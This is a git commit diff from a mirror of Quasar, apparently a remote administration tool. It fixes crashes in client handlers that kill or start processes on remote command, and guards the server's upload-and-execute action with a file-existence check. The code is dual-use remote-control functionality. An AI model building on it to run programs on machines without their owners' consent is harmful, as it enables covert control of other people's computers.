mirror of https://github.com/quasar/Quasar.git
Merge pull request #76 from yankejustin/master
Fixed two separate crashes
This commit is contained in:
commit
304a342f19
|
@ -312,18 +312,29 @@ public static void HandleKillProcess(Packets.ServerPackets.KillProcess command,
|
||||||
Process.GetProcessById(command.PID).Kill();
|
Process.GetProcessById(command.PID).Kill();
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
|
{ }
|
||||||
|
finally
|
||||||
{
|
{
|
||||||
|
HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client);
|
||||||
}
|
}
|
||||||
|
|
||||||
HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void HandleStartProcess(Packets.ServerPackets.StartProcess command, Client client)
|
public static void HandleStartProcess(Packets.ServerPackets.StartProcess command, Client client)
|
||||||
{
|
{
|
||||||
ProcessStartInfo startInfo = new ProcessStartInfo {UseShellExecute = true, FileName = command.Processname};
|
if (!string.IsNullOrEmpty(command.Processname))
|
||||||
Process.Start(startInfo);
|
{
|
||||||
|
try
|
||||||
HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client);
|
{
|
||||||
|
ProcessStartInfo startInfo = new ProcessStartInfo { UseShellExecute = true, FileName = command.Processname };
|
||||||
|
Process.Start(startInfo);
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{ }
|
||||||
|
finally
|
||||||
|
{
|
||||||
|
HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void HandleDrives(Packets.ServerPackets.Drives command, Client client)
|
public static void HandleDrives(Packets.ServerPackets.Drives command, Client client)
|
||||||
|
|
|
@ -530,7 +530,7 @@ private void ctxtLocalFile_Click(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
using (var frm = new FrmUploadAndExecute(lstClients.SelectedItems.Count))
|
using (var frm = new FrmUploadAndExecute(lstClients.SelectedItems.Count))
|
||||||
{
|
{
|
||||||
if (frm.ShowDialog() == DialogResult.OK)
|
if ((frm.ShowDialog() == DialogResult.OK) && File.Exists(UploadAndExecute.FilePath))
|
||||||
{
|
{
|
||||||
new Thread(() =>
|
new Thread(() =>
|
||||||
{
|
{
|
||||||
|
|
Loading…
Reference in New Issue